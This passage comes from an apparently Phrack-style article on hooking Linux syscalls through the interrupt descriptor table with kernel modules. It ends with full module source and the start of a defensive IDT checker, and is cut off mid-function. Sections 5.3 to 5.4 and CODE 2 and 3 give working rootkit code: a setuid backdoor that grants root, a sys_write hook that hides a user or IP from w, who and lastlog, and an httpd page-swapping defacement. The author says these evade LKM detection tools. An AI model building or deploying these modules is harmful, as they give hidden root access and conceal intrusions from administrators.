You can find a list of all the syscalls at the url : http://www.lxhp.in‑berlin.de/lhpsysc0.html [3].

All syscalls are listed and the value to put in the registers are given.

Rem : be ware, the numbers of the syscalls are not the same in 2.2.* and 2.4.* kernels.

‑‑‑‑[ 5.2 ‑ How does a syscall work ?

Thanks to the technique that we have just used here, we can also hook the syscalls. When a syscall is called, all the parameters of the syscall are in the registers.

eax : number of the called syscall

ebx : first param

ecx : second param

edx : third param

esi : fourth param

edi : fifth param

The maximum number of arguments can't exceed 5. However, some syscalls need more than 5 arguments. It is the case for the syscall mmap (6 params). In such a case, a single register is used to point to a memory area to the addressing space of the process in user mode that contains the values of the parameters.

We can get these values thanks to the structure pt_regs that we've seen before. We are going to hook syscalls at the IDT level and not in the syscall_table. kstat and all currently available LKM detection tools will fail in detecting our voodoo. I won't show you all what can be done by hooking the syscalls, the technique used by pragmatic or so in their LKMs are applicable here. I will show you how to hook some syscalls, you will be able to hook those you want using the same technique.

‑‑‑‑[ 5.3 ‑ Hooking for profit

‑‑‑‑‑‑[ 5.3.1 ‑ Hooking of sys_setuid

SYS_SETUID:

‑‑‑‑‑‑‑‑‑‑‑

EAX: 213

EBX: uid

We are going to begin with a simple case, a backdoor that change the rights of a process into root. The same backdoor as in 3.5 but we are going to hook the syscall setuid.

asm handler :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

...

#define sys_number 213

...

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

//save the register value

" pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare if it's the good syscall

" xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall,

//put top stack address on stack :)

" mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $‑8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n"

"finis: \n"

//restore register

" popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) );

}

‑ we save the values of all the registers on the stack

‑ we compare eax that contains the number of the syscall with the value of sys_number that we have defined above.

‑ if it is the good syscall, we put on the stack the value of esp from which have saved all the registers (that will be used for pt_regs) and the current process descriptor.

‑ we call our C handler, then at the return, we pop 8 bytes (eax + edx). ‑ finis : we put back the value of our registers and we call the true handler.

By changing the value of sys_number, we can hook any syscall with this asm handler.

C handler

‑‑‑‑‑‑‑‑‑‑

asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) {

struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs‑>ebx == 12345 )

{

my_task‑>uid=0;

my_task‑>gid=0; my_task‑>suid=1000;

}

}

We get the value of the registers in a pt_regs structure and the address of the current fd. We compare the value of ebx with 12345, if it is equal then we set the uid and the gid of the current process to 0.

In practice :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

bash‑2.05$ cat setuid.c

#include <stdio.h>

int main (int argc,char ** argv)

{

setuid(12345);

system("/bin/sh");

return 0;

}

bash‑2.05$ gcc ‑o setuid setuid.c

bash‑2.05$ ./setuid

sh‑2.05# id

uid=0(root) gid=0(root) groups=100(users)

sh‑2.05#

We are root. This technique can be used with many syscalls.

‑‑‑‑‑‑[ 5.3.2 ‑ Hooking of sys_write

SYS_WRITE:

‑‑‑‑‑‑‑‑‑‑

EAX: 4

EBX: file descriptor

ECX: ptr to output buffer

EDX: count of bytes to send

We are going to hook sys_write so that it will replace a string in a defined program. Then, we will hook sys_write so that it will replace in the whole system.

The asm handler in the same as in 5.3.1

C handler

‑‑‑‑‑‑‑‑‑‑

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) {

struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs‑>ecx;

char * buffer,*ptr3;

if(strcmp(my_task‑>comm,"w")==0 || strcmp(my_task‑>comm,"who")==0|| strcmp(my_task‑>comm,"lastlog")==0 ||

((progy != 0)?(strcmp(my_task‑>comm,progy)==0):0) ) {

buffer=(char * ) kmalloc(regs‑>edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs‑>edx); if(hide_string)

{ ptr3=strstr(buffer,hide_string); }

else

{ ptr3=strstr(buffer,HIDE_STRING); }

if(ptr3 != NULL )

{

if (false_string) { strncpy(ptr3,false_string,strlen(false_string));

}

else

{ strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));

}

copy_to_user(ptr,buffer,regs‑>edx); }

kfree(buffer);

}

}

‑ We compare the name of the process with a defined program name and with the name that we will specify in param when we insert our module (progy param).

‑ We allocate some space for the buffer that will receive the string that is in regs‑>ecx

‑ We copy the string that sys_write is going to write from the userland to the kernelland (copy_from_user)

‑ We search for the string we want to hide in the string that sys_write is going to write.

‑ If found,we change the string to be hidden with the one wanted in our buffer.

‑ we copy the false string in the userland (copy_to_user)

In practice :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

%gcc ‑I/usr/src/linux/include ‑O2 ‑c hookstub‑V0.5.2.c

%w

12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 ‑ 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub‑V0.5.2.o

filename: hookstub‑V0.5.2.o

description: "Hooking of sys_write"

author: "kad"

parm: interrupt int, description "Interrupt number"

parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub‑V0.5.2.o interrupt=128 hide_string=kad false_string=marcel progy=ps

Inserting hook

Hooking finish

%w

12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT marcel tty1 ‑ 11:32pm 35:21 15:01 0.03s sh /usr marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid

%ps ‑au

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 ‑bash root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 ‑su root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 ‑sh root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps ‑au %

The string "kad" is hidden. The whole source code is in annexe CODE 3. This example is quite simple but could be more interesting. Instead of changing "kad" with "marcel", we could change our IP address with another. And, instead of hooking the output of w, who or lastlog, we could use klogd...

Complete hooking of sys_write

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The complete hooking of sys_write can be useful in some case, like for example changing an IP with another. But if you change a string completely, you won't be hidden long. If you change a string with another, it's the whole system that will be changed. Even a simple cat will be influenced :

%insmod hookstub‑V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook

Hooking finish

%echo hello!

bye!

%

The C handler for this example is the same as the previous one without the if condition. Beware, this could slow down your system a lot.

‑‑‑‑[ 5.4 ‑ Hooking for fun

This example is only "for fun" :), don't misuse it. You could turn an admin mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook the syscall sys_open so that it opens another file instead of a defined file, but only if it is a defined "entity" that opens the file. This entity will be httpd here...

SYS_OPEN:

‑‑‑‑‑‑‑‑‑

EAX : 5

EBX : ptr to pathname

ECX : file access

EDX : file permissions

The asm handler is always the same as the previous ones.

C handler :

‑‑‑‑‑‑‑‑‑‑‑‑

asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) {

struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task‑>comm,"httpd") == 0)

{

if(strcmp((char *)regs‑>ebx,"/var/www/htdocs/index.html.fr")==0) {

copy_to_user((char *)regs‑>ebx,"/tmp/hacked", strlen((char *) regs‑>ebx));

}

}

}

We hook sys_open, if httpd call sys_open and tries to open index.html, then we change index.html with another page we've chosen. We can also use MODULE_PARM to more easily change the page. If someone opens the file with a classic editor, he will see the true index.html!

Hooking a syscall is very easy with this technique. Moreover, few modifications are to be done for hooking this or that syscall. The only thing to change is the C handler. We could however play with the asm handler, for example to invert 2 syscalls. We would only have to compare the value of eax and to change it with the number of a defined syscall. For an admin, we could hook the "hot" syscalls and warn with a message as soon as the syscall is called. We would be warned of the modifications on the syscall_table.

‑‑[ 6 ‑ CHECKIDT

CheckIDT is a little program that I have written that allow to "play" with the IDT from the userland. i.e. without using a lkm, thanks to the technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, I had to face many kernel crashes and it was not dead but I couldn't remove the lkm. I had to reboot to change the value of the IDT. CheckIDT allow to change the value of the IDT without the use of a lkm. CheckIDT is here to help you coding your lkms and prevent you from rebooting all the time. On the other hand, this software can warn you of modifications of the IDT and so be useful for admins. It can restore the IDT state in tripwire style. It saves each descriptor of the IDT in a file, then it compares the descriptors with the saved values and put the IDT back if there were modifications.

Some examples of use :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

%./checkidt

CheckIDT V 1.1 by kad

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Option :

‑a nb show all info about one interrupt

‑A show all info about all interrupt

‑I show IDT address

‑c create file archive

‑r read file archive

‑o file output filename (for creating file archive) ‑C compare save idt & new idt

‑R restore IDT

‑i file input filename to compare or read

‑s resolve symbol thanks to /boot/System.map ‑S file specify a map file

%./checkidt ‑a 3 ‑s

Int *** Stub Address *** Segment *** DPL *** Type Handler Name

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3 0xc0109370 KERNEL_CS 3 System gate int3

Thanks for choose kad's products :‑)

%

We can obtain information on an interrupt descriptor.

"‑A" allow to obtain information on all interrupts.

%./checkidt ‑c

Creating file archive idt done

Thanks for choosing kad's products :‑)

%insmod hookstub‑V0.3.2.o interrupt=3

Inserting hook

Hooking finished

%./checkidt ‑C

Hey stub address of interrupt 3 has changed!!!

Old Value : 0xc0109370

New Value : 0xc583e064

Thanks for choosing kad's products :‑)

%./checkidt ‑R

Restore old stub address of interrupt 3

Thanks for choosing kad's products :‑)

%./checkidt ‑C

All values are same

Thanks for choosing kad's products :‑)

%lsmod

Module Size Used by

hookstub‑V0.3.2 928 0 (unused)

...

%

So CheckIDT has restored the values of the IDT as they were before inserting the module. However, the module is still here but has no effect. As in tripwire, I advice you to put the IDT save file in a read only area, otherwise someone could be compromised.

rem : if the module is well hidden, you will also be warned of the modifications of IDT.

The whole source code is in annexe CODE 4.

‑‑[ 7 ‑ REFERENCES

[1] http://www.linuxassembly.org/resources.html#tutorials

Many docs on asm inline

[2] http://www.xml.com/ldd/chapter/book/

linux device drivers

[3] http://www.lxhp.in‑berlin.de/lhpsysc0.html

detailed syscalls list

[4] http://eccentrica.org/Mammon/

Mammon site, thanks mammon ;)

[5] http://www.oreilly.com/catalog/linuxkernel/

o'reilly book , great book :)

[6] http://www.tldp.org/LDP/lki/index.html

Linux Kernel 2.4 Internals

[7] Sources of 2.2.19 and 2.4.17 kernel

[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html

good info about how bottom half work

[9] http://www.s0ftpj.org/en/tools.html

kstat

GREETZ

‑ Special greetz to freya, django and neuro for helping me to translate this text in English. Greetz again to skyper for his advice, thks a lot man! :)

‑ Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !) ‑ Big greetz to mayhem, insulted, ptah and sauron for testing the codes and verifying the text.

‑ Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all those who were at the RtC.Party, nywass, the polos :) and all those I forget.

‑‑[ 8 ‑ Appendix

CODE 1:

‑‑‑‑‑‑‑

/***************************************

/* hooking interrupt 3 . Idea by mammon */

/* with kad modification */

/***************************************

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/tty.h>

#include <linux/sched.h>

#include <linux/init.h>

#include <linux/malloc.h>

#define error_code 0xc01092d0 //error code in my system.map

#define do_int3 0xc010977c //do_int3 in my system.map

asmlinkage void my_handler(struct pt_regs * regs,long err_code);

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned long ptr_idt_table;

unsigned long ptr_gdt_table;

unsigned long old_stub;

unsigned long old_handler=do_int3;

extern asmlinkage void my_stub();

unsigned long ptr_error_code=error_code;

unsigned long ptr_handler=(unsigned long)&my_handler;

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct descriptor_idt

{

unsigned short offset_low,seg_selector;

unsigned char reserved,flag;

unsigned short offset_high;

};

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

"pushl $0 \n"

"pushl ptr_handler(,1) \n"

"jmp *ptr_error_code "

::

);

}

asmlinkage void my_handler(struct pt_regs * regs,long err_code) {

void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code);

return;

}

unsigned long get_addr_idt (void)

{

unsigned char idtr[6];

unsigned long idt;

__asm__ volatile ("sidt %0": "=m" (idtr));

idt = *((unsigned long *) &idtr[2]);

return(idt);

}

void * get_stub_from_idt (int n)

{

struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte‑>offset_high << 16 ) + idte‑>offset_low)); }

void hook_stub(int n,void *new_stub,unsigned long *old_stub) {

unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub

if(old_stub)

*old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub

idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return;

}

int init_module(void)

{

ptr_idt_table=get_addr_idt();

hook_stub(3,&my_stub,&old_stub);

return 0;

}

void cleanup_module()

{

hook_stub(3,(char *)old_stub,NULL);

}

****************************************

CODE 2:

‑‑‑‑‑‑‑

/***************************************

/* IDT int3 backdoor. Give root right to the process

/* Coded by kad

/***************************************

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/tty.h>

#include <linux/sched.h>

#include <linux/init.h>

#ifndef KERNEL2

#include <linux/slab.h>

#else

#include <linux/malloc.h>

#endif

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

asmlinkage void my_function(unsigned long);

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MODULE_AUTHOR("Kad");

MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i");

MODULE_PARM_DESC(interrupt,"Interrupt number");

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned long ptr_idt_table;

unsigned long old_stub;

extern asmlinkage void my_stub();

unsigned long hostile_code=(unsigned long)&my_function;

int interrupt;

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct descriptor_idt

{

unsigned short offset_low,seg_selector;

unsigned char reserved,flag;

unsigned short offset_high;

};

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

" pushl %%ebx \n"

" movl %%esp,%%ebx \n"

" andl $‑8192,%%ebx \n"

" pushl %%ebx \n"

" call *%0 \n"

" addl $4,%%esp \n"

" popl %%ebx \n"

" jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub)

);

}

asmlinkage void my_function(unsigned long addr_task)

{

struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p‑>comm,"give_me_root")==0 )

{

#ifdef DEBUG

printk("UID : %i GID : %i SUID : %i\n",p‑>uid, p‑>gid,p‑>suid);

#endif

p‑>uid=0;

p‑>gid=0;

#ifdef DEBUG

printk("UID : %i GID %i SUID : %i\n",p‑>uid,p‑>gid,p‑>suid); #endif

}

else

{

#ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif

}

}

unsigned long get_addr_idt (void)

{

unsigned char idtr[6];

unsigned long idt;

__asm__ volatile ("sidt %0": "=m" (idtr));

idt = *((unsigned long *) &idtr[2]);

return(idt);

}

unsigned short get_size_idt(void)

{

unsigned idtr[6];

unsigned short size;

__asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]);

return(size);

}

void * get_stub_from_idt (int n)

{

struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte‑>offset_high << 16 ) + idte‑>offset_low)); }

void hook_stub(int n,void *new_stub,unsigned long *old_stub) {

unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub

if(old_stub)

*old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG

printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif

//assign new stub

idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG

printk("Hook : idt‑>offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt‑>offset_low : 0x%.8x\n",idt[n].offset_low); #endif

return;

}

int write_console (char *str)

{

struct tty_struct *my_tty; if((my_tty=current‑>tty) != NULL)

{

(*(my_tty‑>driver).write) (my_tty,0,str,strlen(str)); return 0;

}

else return ‑1;

}

static int __init kad_init(void)

{

int x;

EXPORT_NO_SYMBOLS;

ptr_idt_table=get_addr_idt();

write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub);

#ifdef DEBUG

printk("Set hooking on interrupt %i\n",interrupt); #endif

write_console("Hooking finished \r\n");

return 0;

}

static void kad_exit(void)

{

write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL);

}

module_init(kad_init);

module_exit(kad_exit);

****************************************

CODE 3:

‑‑‑‑‑‑‑

/***************************************

/* Hooking of sys_write for w,who and lastlog.

/* You can add an another program when you insmod the module

/* By kad

/***************************************

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/tty.h>

#include <linux/sched.h>

#include <linux/init.h>

#ifndef KERNEL2

#include <linux/slab.h>

#else

#include <linux/malloc.h>

#endif

#include <linux/interrupt.h>

#include <linux/compatmac.h>

#define sys_number 4

#define HIDE_STRING "localhost"

#define FALSE_STRING "somewhere"

#define PROG "w"

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MODULE_AUTHOR("kad");

MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i");

MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s");

MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s");

MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s");

MODULE_PARM_DESC(progy,"You can add another program to fake");

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned long ptr_idt_table;

unsigned long old_stub;

extern asmlinkage void my_stub();

unsigned long hostile_code=(unsigned long)&my_function;

int interrupt;

char *hide_string;

char *false_string;

char *progy;

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct descriptor_idt

{

unsigned short offset_low,seg_selector;

unsigned char reserved,flag;

unsigned short offset_high;

};

void stub_kad(void)

{

__asm__ (

".globl my_stub \n"

".align 4,0x90 \n"

"my_stub: \n"

//save the register value

" pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall

" xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :)

" mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $‑8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n"

"finis: \n"

//restore register

" popl %%ebx \n" " popl %%ecx \n"

" popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) );

}

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) {

struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs‑>ecx;

char * buffer,*ptr3;

if(strcmp(my_task‑>comm,"w")==0 || strcmp(my_task‑>comm,"who")==0 || strcmp(my_task‑>comm,"lastlog")==0

|| ((progy != 0)?(strcmp(my_task‑>comm,progy)==0):0) ) {

buffer=(char * ) kmalloc(regs‑>edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs‑>edx); if(hide_string)

{ ptr3=strstr(buffer,hide_string); }

else

{ ptr3=strstr(buffer,HIDE_STRING); }

if(ptr3 != NULL )

{

if (false_string)

{

strncpy(ptr3,false_string,strlen(false_string));

}

else

{

strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));

}

copy_to_user(ptr,buffer,regs‑>edx); }

kfree(buffer);

}

}

unsigned long get_addr_idt (void)

{

unsigned char idtr[6];

unsigned long idt;

__asm__ volatile ("sidt %0": "=m" (idtr));

idt = *((unsigned long *) &idtr[2]);

return(idt);

}

void * get_stub_from_idt (int n)

{

struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte‑>offset_high << 16 ) + idte‑>offset_low)); }

void hook_stub(int n,void *new_stub,unsigned long *old_stub) {

unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub

if(old_stub)

*old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG

printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr);

#endif

//assign new stub

idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG

printk("Hook : idt‑>offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt‑>offset_low : 0x%.8x\n",idt[n].offset_low); #endif

return;

}

int write_console (char *str)

{

struct tty_struct *my_tty; if((my_tty=current‑>tty) != NULL)

{

(*(my_tty‑>driver).write) (my_tty,0,str,strlen(str)); return 0;

}

else return ‑1;

}

static int __init kad_init(void)

{

EXPORT_NO_SYMBOLS;

ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub);

#ifdef DEBUG

printk("Set hooking on interrupt %i\n",interrupt); #endif

write_console("Hooking finish \r\n");

return 0;

}

static void kad_exit(void)

{

write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL);

}

module_init(kad_init);

module_exit(kad_exit);

****************************************

<++> checkidt/Makefile

all: checkidt.c

gcc ‑Wall ‑o checkidt checkidt.c

<‑‑>

<++> checkidt/checkidt.c

/*

* CheckIDT V1.1

* Play with IDT from userland

* It's a tripwire kind for IDT

* kad 2002

*

* gcc ‑Wall ‑o checkidt checkidt.c

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <asm/segment.h>

#include <string.h>

#define NORMAL "\033[0m"

#define NOIR "\033[30m"

#define ROUGE "\033[31m"

#define VERT "\033[32m"

#define JAUNE "\033[33m"

#define BLEU "\033[34m"

#define MAUVE "\033[35m"

#define BLEU_CLAIR "\033[36m"

#define SYSTEM "System gate"

#define INTERRUPT "Interrupt gate"

#define TRAP "Trap gate"

#define DEFAULT_FILE "Safe_idt"

#define DEFAULT_MAP"/boot/System.map"

/***********GLOBAL**************/

int fd_kmem;

unsigned long ptr_idt;

/******************************/

struct descriptor_idt

{

unsigned short offset_low,seg_selector;

unsigned char reserved,flag;

unsigned short offset_high;

};

struct Mode

{

int show_idt_addr;

int show_all_info;

int read_file_archive;

int create_file_archive;

char out_filename[20];

int compare_idt;

int restore_idt;

char in_filename[20];

int show_all_descriptor;

int resolve;

char map_filename[40];

};

unsigned long get_addr_idt (void)

{

unsigned char idtr[6];

unsigned long idt;

__asm__ volatile ("sidt %0": "=m" (idtr));

idt = *((unsigned long *) &idtr[2]);

return(idt);

}

unsigned short get_size_idt(void)

{

unsigned idtr[6];

unsigned short size;

__asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]);

return(size);

}

char * get_segment(unsigned short selecteur)

{

if(selecteur == __KERNEL_CS)

{

return("KERNEL_CS");

}

if(selecteur == __KERNEL_DS)

{

return("KERNEL_DS");

}

if(selecteur == __USER_CS)

{

return("USER_CS");

}

if(selecteur == __USER_DS)

{

return("USER_DS");

}

else

{

printf("UNKNOW\n");

}

}

void readkmem(void *m,unsigned off,int size)

{

if(lseek(fd_kmem,off,SEEK_SET) != off)

{

fprintf(stderr,"Error lseek. Are you root? \n"); exit(‑1);

}

if(read(fd_kmem,m,size)!= size)

{

fprintf(stderr,"Error read kmem\n"); exit(‑1);

}

}

void writekmem(void *m,unsigned off,int size)

{

if(lseek(fd_kmem,off,SEEK_SET) != off)

{

fprintf(stderr,"Error lseek. Are you root? \n"); exit(‑1);

}

if(write(fd_kmem,m,size)!= size)

{

fprintf(stderr,"Error read kmem\n"); exit(‑1);

}

}

void resolv(char *file,unsigned long stub_addr,char *name)

{

FILE *fd;

char buf[100],addr[30];

int ptr,ptr_begin,ptr_end;

snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r")))

{

fprintf(stderr,"Can't open map file. You can specify a map file ‑S option or change #define in source\n"); exit(‑1);

}

while(fgets(buf,100,fd) != NULL)

{

ptr=strstr(buf,addr);

if(ptr)

{

bzero(name,30);

ptr_begin=strstr(buf," ");

ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end‑ptr_begin‑1);

break;

}

}

if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd);

}

void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) {

struct descriptor_idt *descriptor;

unsigned long stub_addr;

unsigned short selecteur;

char type[15];

char segment[15];

char name[30];

int x;

int dpl;

bzero(name,strlen(name));

descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0)

{

printf(" Handler Name\n");

printf("‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

}

else

{

printf("\n");

printf("‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

}

if(interrupt >= 0)

{ readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor‑>offset_high << 16) + descriptor‑>offset_low; selecteur=(unsigned short) descriptor‑>seg_selector; if(descriptor‑>flag & 64) dpl=3; else dpl = 0;

if(descriptor‑>flag & 1)

{

if(dpl)

strncpy(type,SYSTEM,sizeof(SYSTEM));

else strncpy(type,TRAP,sizeof(TRAP)); }

else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur));

if(resolve >= 0)

{

resolv(file,stub_addr,name);

printf("%‑7i 0x%‑14.8x %‑12s%‑8i%‑16s %s\n",interrupt,stub_addr,segment,dpl,type,name); }

else

{

printf("%‑7i 0x%‑14.8x %‑12s %‑7i%s\n",interrupt,stub_addr,segment,dpl,type); }

}

if(all_descriptor >= 0 )

{

for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor‑>offset_high << 16) + descriptor‑>offset_low; if(stub_addr != 0)

{

selecteur=(unsigned short) descriptor‑>seg_selector;

if(descriptor‑>flag & 64) dpl=3;

else dpl = 0;

if(descriptor‑>flag & 1)

if(dpl)

strncpy(type,SYSTEM,sizeof(SYSTEM));

else strncpy(type,TRAP,sizeof(TRAP));

else strncpy(type,INTERRUPT,sizeof(INTERRUPT));

strcpy(segment,get_segment(selecteur));

if(resolve >= 0)

{

bzero(name,strlen(name)); resolv(file,stub_addr,name);

